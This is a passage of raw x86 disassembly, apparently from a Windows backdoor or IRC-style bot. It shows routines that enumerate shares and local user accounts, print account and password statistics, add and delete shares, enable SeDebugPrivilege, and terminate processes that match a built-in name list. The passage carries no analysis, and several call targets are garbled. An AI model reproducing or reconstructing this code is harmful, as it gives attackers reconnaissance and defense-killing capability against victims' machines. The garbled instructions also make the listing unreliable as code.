edi pop ebp pop ebx pop esi retn sub_4190A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep ; sub_41A6EA+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C990 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419177 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB8C8 pop edi leave retn sub_41910C endp ; =============== S U B R O U T I N E ======================================= sub_419177 proc near ; CODE XREF: sub_41910C+Ap ; sub_41910C+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419184 pop ebp retn ; --------------------------------------------------------------------------- loc_419184: ; CODE XREF: sub_419177+9j push ebx push esi mov esi, dword_4270E8 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D9A5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419177 endp ; =============== S U B R O U T I N E ======================================= sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p ; sub_41A3C6+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push 0 push eax push esi call dword_4CB8A0 pop esi retn sub_4191B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419177 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_419214: ; CODE XREF: sub_4191DB+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB918 mov ebx, eax cmp ebx, esi jz short loc_419277 cmp ebx, 0EAh jz short loc_419277 push ebx push ebx call sub_4199AC pop ecx push eax lea eax, [ebp+var_210] push offset unk_439C10 push eax call sub_41C266 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_4192E4 ; --------------------------------------------------------------------------- loc_419277: ; CODE XREF: sub_4191DB+5Dj ; sub_4191DB+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_4192DB mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419285: ; CODE XREF: sub_4191DB+FCj push dword ptr [esi+10h] call dword_4CB8BC test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_41929C mov eax, offset aNo ; "No" loc_41929C: ; CODE XREF: sub_4191DB+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41C266 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419285 xor esi, esi loc_4192DB: ; CODE XREF: sub_4191DB+A2j push [ebp+var_4] call dword_4CBA64 loc_4192E4: ; CODE XREF: sub_4191DB+9Aj cmp ebx, 0EAh jz loc_419214 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4191DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4193A1 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_41933E dec eax jz short loc_419333 dec eax jnz short loc_419359 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_419443 add esp, 14h jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419333: ; CODE XREF: sub_4192FC+1Dj push ebx push edi call sub_419422 pop ecx pop ecx jmp short loc_419355 ; --------------------------------------------------------------------------- loc_41933E: ; CODE XREF: sub_4192FC+1Aj cmp [ebp+arg_8], edi jz short loc_419352 push [ebp+arg_8] push ebx push edi call sub_4193C8 add esp, 0Ch jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419352: ; CODE XREF: sub_4192FC+45j push 57h pop eax loc_419355: ; CODE XREF: sub_4192FC+35j ; sub_4192FC+40j ... cmp eax, edi jnz short loc_419379 loc_419359: ; CODE XREF: sub_4192FC+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_43951C[eax*4] push offset unk_439CC8 push esi call sub_41C266 add esp, 10h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_419379: ; CODE XREF: sub_4192FC+5Bj push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_439518[eax*4] push offset unk_439C98 push esi call sub_41C266 add esp, 14h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_4193A1: ; CODE XREF: sub_4192FC+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DB840 lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439C70 push esi call sub_41C266 add esp, 0Ch loc_4193C1: ; CODE XREF: sub_4192FC+7Bj ; sub_4192FC+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4192FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419177 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB8AC pop edi leave retn sub_4193C8 endp ; =============== S U B R O U T I N E ======================================= sub_419422 proc near ; CODE XREF: sub_4192FC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push eax push esi call dword_4CB89C pop esi retn sub_419422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CBA2C test eax, eax mov [ebp+arg_0], eax jnz loc_4197EB mov eax, [ebp+var_4] test eax, eax jz loc_419826 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41C266 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419562 dec eax jz short loc_41955B dec eax jz short loc_419554 mov eax, offset aUnknown ; "Unknown" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419554: ; CODE XREF: sub_419443+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_41955B: ; CODE XREF: sub_419443+105j mov eax, offset aUser_0 ; "User" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419562: ; CODE XREF: sub_419443+102j mov eax, offset aGuest ; "Guest" loc_419567: ; CODE XREF: sub_419443+10Fj ; sub_419443+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41C266 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 add esp, 20h pop edi pop ebx jmp short loc_419817 ; --------------------------------------------------------------------------- loc_4197EB: ; CODE XREF: sub_419443+35j push eax lea eax, [ebp+var_204] push offset unk_439CE8 push eax call sub_41C266 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409869 add esp, 20h loc_419817: ; CODE XREF: sub_419443+3A6j cmp [ebp+var_4], 0 jz short loc_419826 push [ebp+var_4] call dword_4CBA64 loc_419826: ; CODE XREF: sub_419443+40j ; sub_419443+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_419443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419177 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_41986B: ; CODE XREF: sub_41982C+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB934 cmp eax, esi mov [ebp+var_C], eax jz short loc_4198CC cmp eax, 0EAh jz short loc_4198CC push eax push eax call sub_4199AC pop ecx push eax lea eax, [ebp+var_218] push offset unk_439ED8 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_419947 ; --------------------------------------------------------------------------- loc_4198CC: ; CODE XREF: sub_41982C+62j ; sub_41982C+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41995A xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_419947 loc_4198DE: ; CODE XREF: sub_41982C+EDj cmp edi, esi jz short loc_41991D push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_4198DE jmp short loc_419947 ; --------------------------------------------------------------------------- loc_41991D: ; CODE XREF: sub_41982C+B4j lea eax, [ebp+var_218] push offset unk_439EA4 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_419947: ; CODE XREF: sub_41982C+9Ej ; sub_41982C+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41995A push edi call dword_4CBA64 xor edi, edi mov [ebp+var_4], edi loc_41995A: ; CODE XREF: sub_41982C+A5j ; sub_41982C+120j cmp [ebp+var_C], 0EAh jz loc_41986B cmp edi, esi jz short loc_419972 push edi call dword_4CBA64 loc_419972: ; CODE XREF: sub_41982C+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41982C endp ; =============== S U B R O U T I N E ======================================= sub_4199AC proc near ; CODE XREF: sub_418FE5+41p ; sub_4191DB+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419A5E jz loc_419A57 cmp eax, 7Bh ja short loc_419A23 jz short loc_419A19 cmp eax, 5 jz short loc_419A0F cmp eax, 8 jz short loc_419A05 cmp eax, 32h jz short loc_4199FB cmp eax, 35h jz short loc_4199F1 cmp eax, 57h jnz loc_419AAD push offset aInvalidParamet ; "Invalid parameter." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199F1: ; CODE XREF: sub_4199AC+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199FB: ; CODE XREF: sub_4199AC+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A05: ; CODE XREF: sub_4199AC+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A0F: ; CODE XREF: sub_4199AC+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A19: ; CODE XREF: sub_4199AC+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_4199AC+1Aj sub eax, 7Ch jz short loc_419A50 sub eax, 7C8h jz short loc_419A49 dec eax jz short loc_419A3F dec eax jnz short loc_419AAD push offset aDuplicateShare ; "Duplicate share name." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A3F: ; CODE XREF: sub_4199AC+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A49: ; CODE XREF: sub_4199AC+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A50: ; CODE XREF: sub_4199AC+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A57: ; CODE XREF: sub_4199AC+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A5E: ; CODE XREF: sub_4199AC+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419A97 jz short loc_419A90 sub eax, 8ADh jz short loc_419AC2 dec eax dec eax jz short loc_419A89 dec eax jz short loc_419A82 dec eax dec eax jnz short loc_419AAD push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A82: ; CODE XREF: sub_4199AC+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A89: ; CODE XREF: sub_4199AC+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: sub_4199AC+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A97: ; CODE XREF: sub_4199AC+B9j sub eax, 8CAh jz short loc_419AC9 sub eax, 17h jz short loc_419AC2 sub eax, 25h jz short loc_419ABB sub eax, 29h jz short loc_419AB4 loc_419AAD: ; CODE XREF: sub_4199AC+35j ; sub_4199AC+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AB4: ; CODE XREF: sub_4199AC+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419ABB: ; CODE XREF: sub_4199AC+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC2: ; CODE XREF: sub_4199AC+C2j ; sub_4199AC+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC9: ; CODE XREF: sub_4199AC+F0j push offset aNetworkConnect ; "Network connection not found." loc_419ACE: ; CODE XREF: sub_4199AC+40j ; sub_4199AC+4Aj ... push offset dword_4DB5E0 call sub_41C266 pop ecx mov eax, offset dword_4DB5E0 pop ecx retn sub_4199AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41E0D4 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26C0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41E0D4 lea eax, [ebp+var_718] push eax call sub_41E0B7 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB9E4 test eax, eax jnz short loc_419B70 mov esi, offset dword_4DB3DC push offset unk_43A20C push esi call sub_41C266 pop ecx pop ecx jmp short loc_419B99 ; --------------------------------------------------------------------------- loc_419B70: ; CODE XREF: sub_419AE0+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_4199AC pop ecx mov esi, offset dword_4DB3DC push eax push offset dword_43A1E0 push esi call sub_41C266 add esp, 14h loc_419B99: ; CODE XREF: sub_419AE0+8Ej mov eax, esi pop esi leave retn sub_419AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B9E proc near ; CODE XREF: sub_4172C1+45p ; sub_4172C1+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 27206A8h push eax call dword_4CB9B8 test eax, eax jnz short loc_419BBD leave retn ; --------------------------------------------------------------------------- loc_419BBD: ; CODE XREF: sub_419B9E+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB990 test eax, eax jz short loc_419BFB cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419BE4 or [ebp+var_8], 2 jmp short loc_419BE8 ; --------------------------------------------------------------------------- loc_419BE4: ; CODE XREF: sub_419B9E+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419BE8: ; CODE XREF: sub_419B9E+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CBA40 mov esi, eax loc_419BFB: ; CODE XREF: sub_419B9E+32j push [ebp+var_4] nop call near ptr 26608D5h mov eax, esi pop esi leave retn sub_419B9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p ; sub_419E38+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB9F4, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419E08 cmp dword_4CB9D8, ebx jz loc_419E08 cmp dword_4CB8E8, ebx jz loc_419E08 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push ebx push 0Fh call dword_4CB9F4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_419DFB lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB9D8 mov esi, dword_427070 test eax, eax jz loc_419DF6 lea eax, [ebp+var_130] push eax push edi call dword_4CB8E8 test eax, eax jz loc_419DF6 mov edi, dword_42708C mov ebx, 1F0FFFh loc_419CCD: ; CODE XREF: sub_419C09+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419D34 mov [ebp+var_4], offset off_43A238 loc_419CDB: ; CODE XREF: sub_419C09+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 2820000h test eax, eax jz short loc_419D03 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_43A298 jb short loc_419CDB jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D03: ; CODE XREF: sub_419C09+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_419DDC push 0 push eax call near ptr 2710A1Ah nop test eax, eax jnz loc_419DDC loc_419D2A: ; CODE XREF: sub_419C09+1B9j push [ebp+var_4] call esi jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D34: ; CODE XREF: sub_419C09+C9j cmp [ebp+arg_C], eax jnz loc_419DC7 cmp [ebp+arg_4], eax jz loc_419DDC push [ebp+var_128] push 8 call dword_4CB9F4 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_419D87 lea ecx, [ebp+var_354] push ecx push eax call dword_4CB894 push [ebp+var_128] test eax, eax jz short loc_419D8D lea eax, [ebp+var_234] jmp short loc_419D93 ; --------------------------------------------------------------------------- loc_419D87: ; CODE XREF: sub_419C09+15Cj push [ebp+var_128] loc_419D8D: ; CODE XREF: sub_419C09+174j lea eax, [ebp+var_10C] loc_419D93: ; CODE XREF: sub_419C09+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h jmp loc_419D2A ; --------------------------------------------------------------------------- loc_419DC7: ; CODE XREF: sub_419C09+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_419E0F loc_419DDC: ; CODE XREF: sub_419C09+F5j ; sub_419C09+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB8E8 test eax, eax jnz loc_419CCD xor ebx, ebx loc_419DF6: ; CODE XREF: sub_419C09+9Dj ; sub_419C09+B3j push [ebp+var_8] call esi loc_419DFB: ; CODE XREF: sub_419C09+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx loc_419E08: ; CODE XREF: sub_419C09+3Aj ; sub_419C09+46j ... xor eax, eax loc_419E0A: ; CODE XREF: sub_419C09+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419E0F: ; CODE XREF: sub_419C09+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 2710A1Ah test eax, eax jnz short loc_419E33 push edi call esi jmp short loc_419E08 ; --------------------------------------------------------------------------- loc_419E33: ; CODE XREF: sub_419C09+223j push 1 pop eax jmp short loc_419E0A sub_419C09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword 